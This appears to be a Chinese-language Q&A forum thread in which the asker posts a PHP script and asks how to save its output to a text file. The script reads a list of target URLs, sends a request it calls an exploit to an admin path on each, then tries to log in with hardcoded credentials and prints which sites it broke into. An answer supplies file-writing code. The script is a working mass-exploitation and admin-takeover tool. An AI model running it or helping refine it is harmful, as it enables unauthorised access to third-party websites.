2016-04-22 64 views
-1

我做一些PHP腳本掃描錯誤,但我有一些porblem時,試圖將結果保存到文件,TXT或日誌已經嘗試一些公式,但沒有工作你能告訴我如何保存輸出

這裏是代碼

error_reporting(0); 
$get=file_get_contents($argv[1]) 
or die(" 
\n\tError ! 
\n\tusage => php scan.php list.txt\n\n"); 
$j=explode("\r\n",$get); 
foreach($j as $url){ 

print "\n\n\t[+] Exploiting => ".$url; 
$dirnya = "/login/secure/adm"; 

$postdata = 'check=blalalalalalal'; 

$ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $url.$dirnya); 
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata); 
curl_setopt ($ch, CURLOPT_POST, 1); 
$headers = array(); 
$headers[] = 'Accept-Encoding: gzip, deflate'; 
$headers[] = 'Content-Type: application/x-www-form-urlencoded'; 

curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt ($ch, CURLOPT_HEADER, 1); 
$result = curl_exec ($ch); 
curl_close($ch); 

#Exploitasi berhasil dan memulai cek Login setelah exploitasi 
if(preg_match('#200 OK#', $result)) { 
print "\n\t[+] Exploiting Success, mulai mengecek login.."; 
$loginpage = $url."/adm"; 
$logindata = 'key=3ryAIBlm7bJ3naj9&login%5Badm_usr%5D=memek&login%5Badm_pswd%5D=memeklegit'; 

$hydra_ch = curl_init(); 
curl_setopt ($hydra_ch, CURLOPT_URL, $loginpage); 
curl_setopt ($hydra_ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($hydra_ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($hydra_ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($hydra_ch, CURLOPT_POSTFIELDS, $logindata); 
curl_setopt ($hydra_ch, CURLOPT_POST, 1); 

$headers = array(); 
$headers[] = 'Accept-Encoding: gzip, deflate'; 
$headers[] = 'Content-Type: application/x-www-form-urlencoded'; 

curl_setopt ($hydra_ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt ($hydra_ch, CURLOPT_HEADER, 1); 
$hasil = curl_exec ($hydra_ch); 
curl_close($hydra_ch); 


if(preg_match('#302 Moved#', $hasil)) { 

這是代碼

print "\n\t[+] Login Success ! \n\t[+] user => memek \n\t[+] password => memekbau"; 
print "\n\t[-] Login Page => ".$loginpage; 
} 
else { 
#Exploitasi berhasil dan namun admin user tidak masuk ke database. 
print "\n\t[-] Login Failed :("; 
print "\n\t[-] Keterangan : admin user tidak masuk.\n";} 
}else { 

#Exploitasi gagal total 
print "\n\t[-] Exploitasi Failed :(\n ";} 

} 

一部分,這是輸出當您運行腳本

[+] Exploiting => localhost 
[+] Exploiting Success, mulai mengecek login.. 
[+] Login Success ! 
[+] user => memek 
[+] password => memekbau 
[-] Login Page => localhost/adm 

我的問題如何將輸出保存到文件txt或日誌?

謝謝

回答

0

如果你想創建新文件並寫入它,然後使用下面的代碼。將所有輸出存儲在一個變量中。

$content = "some text here\n"; 
$content .= "text on new line"; 
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . "/output.txt","wb"); 
fwrite($fp,$content); 
fclose($fp); 
+0

您的代碼收集所有內容的問題我只需要「[+]登錄成功!」的內容。 – ronald

+0

你好,有人在家? – ronald